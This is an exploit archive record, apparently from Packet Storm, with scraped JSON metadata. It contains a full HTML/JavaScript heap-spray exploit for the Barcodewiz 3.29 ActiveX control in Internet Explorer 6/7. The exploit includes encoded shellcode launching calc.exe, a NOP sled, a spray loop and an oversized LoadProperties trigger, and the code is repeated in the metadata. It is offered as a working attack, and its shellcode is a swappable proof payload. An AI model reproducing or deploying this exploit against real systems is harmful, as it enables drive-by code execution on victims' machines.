ID PACKETSTORM:92306
Type packetstorm
Reporter Dr_IDE
Modified 2010-08-03T00:00:00
Description
`<!--
Title: Barcodewiz 3.29 ActiveX Heap Spray Exploit
Coded By: Dr_IDE
Found By: loneferret
Tested: Windows XP SP3 on IE6 + IE7
Date: July, 30 2010
-->
<html>
<object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='target'></object>
<script language='javascript'>
// Payload is win32_exec - calc.exe
shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
nops=unescape('%u9090%u9090');
headersize = 69; //size adjusted for IE6/IE7 "universality"
slackspace= headersize + shellcode.length;
while(nops.length<slackspace) nops+=nops;
fillblock=nops.substring(0,slackspace);
block=nops.substring(0,nops.length-slackspace);
while(block.length+slackspace<0x40000) block=block+block+fillblock;
memory=new Array();
for( counter=0; counter<250; counter++) memory[counter]= block + shellcode;
ret='';
for( counter=0; counter<=1000; counter++) ret+=unescape("%0a%0a%0a%0a");
target.LoadProperties(ret);
</script>
</html>
`
{"sourceHref": "https://packetstormsecurity.com/files/download/92306/bcw-heapspray.txt", "sourceData": "`<!-- \nTitle: Barcodewiz 3.29 ActiveX Heap Spray Exploit \nCoded By: Dr_IDE \nFound By: loneferret \nTested: Windows XP SP3 on IE6 + IE7 \nDate: July, 30 2010 \n--> \n<html> \n<object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='target'></object> \n<script language='javascript'> \n \n// Payload is win32_exec - calc.exe \n \nshellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ \n'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ \n'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ \n'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+ \n'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+ \n'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+ \n'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+ \n'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'); \n \nnops=unescape('%u9090%u9090'); \nheadersize = 69; //size adjusted for IE6/IE7 \"universality\" \nslackspace= headersize + shellcode.length; \nwhile(nops.length<slackspace) nops+=nops; \nfillblock=nops.substring(0,slackspace); \nblock=nops.substring(0,nops.length-slackspace); \nwhile(block.length+slackspace<0x40000) block=block+block+fillblock; \nmemory=new Array(); \nfor( counter=0; counter<250; counter++) memory[counter]= block + shellcode; \nret=''; \nfor( counter=0; counter<=1000; counter++) ret+=unescape(\"%0a%0a%0a%0a\"); \n \ntarget.LoadProperties(ret); \n</script> \n</html> \n \n`\n", "edition": 1, "references": [], "modified": "2010-08-03T00:00:00", "hash": "51312cd2988bcba941d0bbecb0632795e806939dfe9a1daf76ba457838bc60eb", "cvelist": [], "history": [], "bulletinFamily": "exploit", "href": "https://packetstormsecurity.com/files/92306/Barcodewiz-3.29-Barcode-Active-X-Control-Heap-Spray.html", "description": "", "id": "PACKETSTORM:92306", "reporter": "Dr_IDE", "lastseen": "2016-11-03T10:21:35", "published": "2010-08-03T00:00:00", "enchantments": {"vulnersScore": 7.5}, "objectVersion": "1.2", "type": "packetstorm", "cvss": {"vector": "NONE", "score": 0.0}, "title": "Barcodewiz 3.29 Barcode Active-X Control Heap Spray", "viewCount": 0, "hashmap": [{"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "d4be9c4fc84262b4f39f89565918568f", "key": "cvss"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "description"}, {"hash": "eb4d73848ae80ecc11091baad16bac71", "key": "href"}, {"hash": "b3d668340bc757cbadb8966f92d2caaa", "key": "modified"}, {"hash": "56765472680401499c79732468ba4340", "key": "objectVersion"}, {"hash": "b3d668340bc757cbadb8966f92d2caaa", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "4385384597b3adc5c7bfb5872411d1a2", "key": "reporter"}, {"hash": "5bb5389c02c86cc5ac30bbb51039e49d", "key": "sourceData"}, {"hash": "55e23e060ccace4e1590507205cdc87b", "key": "sourceHref"}, {"hash": "2b4e601a6e7d3a2ac5a255a9beab1046", "key": "title"}, {"hash": "6466ca3735f647eeaed965d9e71bd35d", "key": "type"}]}
{"result": {}}
